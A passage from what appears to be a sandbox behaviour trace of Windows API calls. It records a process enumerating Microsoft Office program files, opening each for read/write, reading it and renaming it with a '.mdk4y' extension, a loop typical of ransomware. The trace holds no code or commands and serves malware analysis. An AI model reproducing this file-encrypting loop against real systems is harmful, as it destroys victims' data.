files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0193.434] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826866400000) returned 1 [0193.435] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x22180, lpOverlapped=0x0) returned 1 [0193.978] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826920800000) returned 1 [0193.978] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826920800000) returned 1 [0193.979] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll.mdk4y")) returned 1 [0193.981] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0193.981] AreFileApisANSI () returned 1 [0193.981] GetACP () returned 0x4e4 [0193.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PRIMARY.CSS", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PRIMARY.CSS.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0193.981] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\primary.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0193.982] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826921200000) returned 1 [0193.982] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7a, lpOverlapped=0x0) returned 1 [0193.983] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826921300000) returned 1 [0193.984] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826921400000) returned 1 [0193.984] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\primary.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\primary.css.mdk4y")) returned 1 [0193.985] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0193.985] AreFileApisANSI () returned 1 [0193.985] GetACP () returned 0x4e4 [0193.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROPRPT.VSL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PROPRPT.VSL", lpUsedDefaultChar=0x37df4c) returned 11 [0193.985] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0193.986] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826921600000) returned 1 [0193.986] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x21788, lpOverlapped=0x0) returned 1 [0194.046] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826927600000) returned 1 [0194.046] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826927600000) returned 1 [0194.047] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl.mdk4y")) returned 1 [0194.050] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0194.050] AreFileApisANSI () returned 1 [0194.050] GetACP () returned 0x4e4 [0194.050] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROPRPT.VSS", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PROPRPT.VSS", lpUsedDefaultChar=0x37df4c) returned 11 [0194.050] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vss"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0194.051] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826928100000) returned 1 [0194.052] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5c00, lpOverlapped=0x0) returned 1 [0194.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826937200000) returned 1 [0194.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826937200000) returned 1 [0194.143] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vss.mdk4y")) returned 1 [0194.145] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0194.145] AreFileApisANSI () returned 1 [0194.145] GetACP () returned 0x4e4 [0194.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROTTPLN.DOC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PROTTPLN.DOCIDX_DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0194.145] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0194.148] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826937800000) returned 1 [0194.148] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4e00, lpOverlapped=0x0) returned 1 [0194.249] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826947900000) returned 1 [0194.249] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826947900000) returned 1 [0194.250] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.doc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.doc.mdk4y")) returned 1 [0194.251] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0194.251] AreFileApisANSI () returned 1 [0194.251] GetACP () returned 0x4e4 [0194.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROTTPLN.PPT", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PROTTPLN.PPT", lpUsedDefaultChar=0x37df4c) returned 12 [0194.251] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0194.252] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826948200000) returned 1 [0194.252] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3000, lpOverlapped=0x0) returned 1 [0194.259] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826948900000) returned 1 [0194.259] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826948900000) returned 1 [0194.259] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.ppt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.ppt.mdk4y")) returned 1 [0194.260] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0194.260] AreFileApisANSI () returned 1 [0194.260] GetACP () returned 0x4e4 [0194.260] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROTTPLN.XLS", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PROTTPLN.XLS", lpUsedDefaultChar=0x37df4c) returned 12 [0194.260] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0194.261] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826949100000) returned 1 [0194.261] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2200, lpOverlapped=0x0) returned 1 [0194.272] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826950200000) returned 1 [0194.272] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826950200000) returned 1 [0194.272] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.xls.mdk4y")) returned 1 [0194.274] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0194.274] AreFileApisANSI () returned 1 [0194.274] GetACP () returned 0x4e4 [0194.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROTTPLV.DOC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PROTTPLV.DOC", lpUsedDefaultChar=0x37df4c) returned 12 [0194.274] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0194.277] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826950700000) returned 1 [0194.277] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4e00, lpOverlapped=0x0) returned 1 [0194.323] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826955300000) returned 1 [0194.323] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826955300000) returned 1 [0194.324] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.doc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.doc.mdk4y")) returned 1 [0194.325] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0194.325] AreFileApisANSI () returned 1 [0194.325] GetACP () returned 0x4e4 [0194.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROTTPLV.PPT", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PROTTPLV.PPT", lpUsedDefaultChar=0x37df4c) returned 12 [0194.325] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0194.326] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826955600000) returned 1 [0194.326] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3000, lpOverlapped=0x0) returned 1 [0194.337] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826956700000) returned 1 [0194.337] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826956700000) returned 1 [0194.337] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.ppt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.ppt.mdk4y")) returned 1 [0194.339] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0194.339] AreFileApisANSI () returned 1 [0194.339] GetACP () returned 0x4e4 [0194.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROTTPLV.XLS", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PROTTPLV.XLS", lpUsedDefaultChar=0x37df4c) returned 12 [0194.339] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0194.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826957000000) returned 1 [0194.340] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2200, lpOverlapped=0x0) returned 1 [0194.341] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826957100000) returned 1 [0194.341] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826957100000) returned 1 [0194.342] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.xls.mdk4y")) returned 1 [0194.343] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0194.343] AreFileApisANSI () returned 1 [0194.343] GetACP () returned 0x4e4 [0194.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PSRCHKEY.DAT", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PSRCHKEY.DAT", lpUsedDefaultChar=0x37df4c) returned 12 [0194.344] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchkey.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0194.345] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826957500000) returned 1 [0194.345] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4f777, lpOverlapped=0x0) returned 1 [0194.357] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826958700000) returned 1 [0194.357] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826958700000) returned 1 [0194.364] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchkey.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchkey.dat.mdk4y")) returned 1 [0194.366] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0194.366] AreFileApisANSI () returned 1 [0194.366] GetACP () returned 0x4e4 [0194.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PSRCHLEX.DAT", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PSRCHLEX.DAT", lpUsedDefaultChar=0x37df4c) returned 12 [0194.366] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0194.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826959700000) returned 1 [0194.368] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0194.395] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826962500000) returned 1 [0194.395] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826962500000) returned 1 [0194.404] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat.mdk4y")) returned 1 [0194.405] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0194.405] AreFileApisANSI () returned 1 [0194.405] GetACP () returned 0x4e4 [0194.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PSRCHLTS.DAT", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PSRCHLTS.DAT", lpUsedDefaultChar=0x37df4c) returned 12 [0194.405] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlts.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0194.408] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826963800000) returned 1 [0194.408] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcd64, lpOverlapped=0x0) returned 1 [0194.420] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826965000000) returned 1 [0194.420] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826965000000) returned 1 [0194.421] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlts.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlts.dat.mdk4y")) returned 1 [0194.423] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0194.423] AreFileApisANSI () returned 1 [0194.423] GetACP () returned 0x4e4 [0194.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PSRCHPHN.DAT", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PSRCHPHN.DAT", lpUsedDefaultChar=0x37df4c) returned 12 [0194.424] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchphn.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0194.425] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826965500000) returned 1 [0194.425] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd18, lpOverlapped=0x0) returned 1 [0194.426] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826965600000) returned 1 [0194.426] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826965600000) returned 1 [0194.426] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchphn.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchphn.dat.mdk4y")) returned 1 [0194.436] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0194.436] AreFileApisANSI () returned 1 [0194.436] GetACP () returned 0x4e4 [0194.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PSRCHSRN.DAT", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PSRCHSRN.DAT", lpUsedDefaultChar=0x37df4c) returned 12 [0194.436] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0194.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826966700000) returned 1 [0194.437] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0194.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826972800000) returned 1 [0194.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: 